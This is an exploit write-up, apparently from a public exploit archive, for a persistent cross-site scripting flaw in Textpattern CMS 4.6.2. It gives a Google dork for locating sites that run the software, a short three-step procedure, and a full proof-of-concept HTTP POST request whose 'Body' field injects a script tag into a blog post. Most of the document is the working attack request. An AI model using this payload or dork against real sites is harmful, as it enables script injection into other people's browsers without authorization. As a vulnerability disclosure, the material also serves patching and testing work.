Textpattern CMS 4.6.2 - 'body' Persistent Cross-Site Scripting

# Exploit Title: Textpattern CMS 4.6.2 - 'body' Persistent Cross-Site Scripting
# Exploit Author: Alperen Ergel
# Web Site: https://alperenae.gitbook.io/
# Software Homepage: https://textpattern.com/
# Version : 4.6.2
# Tested on: windows 10 / xammp
# Category: WebApp
# Google Dork: intext:"Published with Textpattern CMS"
# Date: 2020-10-29
# CVE :-
######## Description ########
#
# 1-) Loggin administrator page
# 
# 2-) Write new blog add payload to 'body'
#
# 3-) Back to web site then will be work payload
#
#
######## Proof of Concept ########

========>>> REQUEST <<<=========

POST /textpattern/textpattern/index.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/javascript, application/javascript, application/ecmascript, application/x-ecmascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://localhost/textpattern/textpattern/index.php?event=article&ID=3
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------127132438115577379281797109093
Content-Length: 6080
Connection: close
Cookie: txp_login=localhost%2Ca170e235c4f2f59bb1300272c470807d; txp_login_public=a834cbdc8blocalhost; __atuvc=1%7C40; __atuvs=5f77129c504c17ce000

### SNIPPP HERE ####

-----------------------------127132438115577379281797109093
Content-Disposition: form-data; name="Title"

XSS
-----------------------------127132438115577379281797109093
Content-Disposition: form-data; name="textile_body"

1
-----------------------------127132438115577379281797109093
Content-Disposition: form-data; name="Body"

<script>alert(1)</script>
-----------------------------127132438115577379281797109093